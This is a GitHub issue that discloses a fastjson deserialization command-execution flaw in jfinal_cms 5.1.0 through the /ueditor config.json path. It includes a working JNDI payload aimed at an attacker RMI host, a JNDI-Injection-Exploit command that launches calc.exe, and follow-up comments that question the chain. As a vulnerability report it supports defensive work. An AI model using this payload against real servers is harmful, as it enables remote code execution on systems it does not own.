jflyfox / jfinal_cms

jfinal cms是一个java开发的功能强大的信息咨询网站,采用了简洁强大的JFinal作为web框架,模板引擎用的是beetl,数据库用mysql,前端bootstrap框架。支持oauth2认证、帐号注册、密码加密、评论及回复,消息提示,网站访问量统计,文章评论数和浏览量统计,回复管理,支持权限管理。后台模块包含:栏目管理,栏目公告,栏目滚动图片,文章管理,回复管理,意见反馈,我的相册,相册管理,图片管理,专辑管理、视频管理、缓存更新,友情链接,访问统计,联系人管理,模板管理,组织机构管理,用户管理,角色管理,菜单管理,数据字典管理。
http://mtg.jflyfox.com/
Apache License 2.0
627 stars 285 forks source link

jfinal CMS v5.1.0 has a command execution vulnerability exists #54

Open baimao-box opened 1 year ago

baimao-box commented 1 year ago

jfinal_cms version:5.1.0 JDK version : jdk-8u351

The ActionEnter class is instantiated in the index method of the /ueditor route

image

The ConfigManager class is instantiated in the constructor of the ActionEnter class

image

The construction method of ConfigManager calls initEnv()

image

Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.

image

The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization

image

Run the tool on kali

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

image

payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.110:1099/d0inxc",
        "autoCommit":true
    }
}

image

Replace with payload

Visit /ueditor, execute the command to pop up the calculator

136699966-b0b2294c-cdf1-4145-9340-cc0885a7e73d

ElevenKong commented 1 year ago

您好,您的来信我已收到!谢谢! Best  Wishes!                                 ——孔祥亮

tianxiabingmadadudu commented 1 year ago

jfinal_cms version:5.1.0 JDK version : jdk-8u351

The ActionEnter class is instantiated in the index method of the /ueditor route

image

The ConfigManager class is instantiated in the constructor of the ActionEnter class

image

The construction method of ConfigManager calls initEnv()

image

Call JSONObject.parseObject to parse the file content, and the file content here is controllable, just replace the file content with the payload.

image

The file comes from WEB-INF/classes/config.json. With any file upload vulnerability in the background, this file can be replaced with a file containing the payload to trigger fastjson deserialization

image

Run the tool on kali

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"

image

payload:

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.110:1099/d0inxc",
        "autoCommit":true
    }
}

image

Replace with payload

Visit /ueditor, execute the command to pop up the calculator

136699966-b0b2294c-cdf1-4145-9340-cc0885a7e73d 136699966-b0b2294c-cdf1-4145-9340-cc0885a7e73d

image 1.2.62这个版本下反序列化不是修复了吗。大佬是怎么实现的。我这报错了。com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl
ElevenKong commented 1 year ago

您好,您的来信我已收到!谢谢! Best  Wishes!                                 ——孔祥亮

By-Yexing commented 10 months ago

This version of fastjson does have the risk of deserialization, but the poc given by the author is clearly 1.2.25-1.2.47 of the chain, according to the impression, if you want to use this version, you need to introduce an additional jar package, is I not fine??

ElevenKong commented 10 months ago

您好,您的来信我已收到!谢谢! Best  Wishes!                                 ——孔祥亮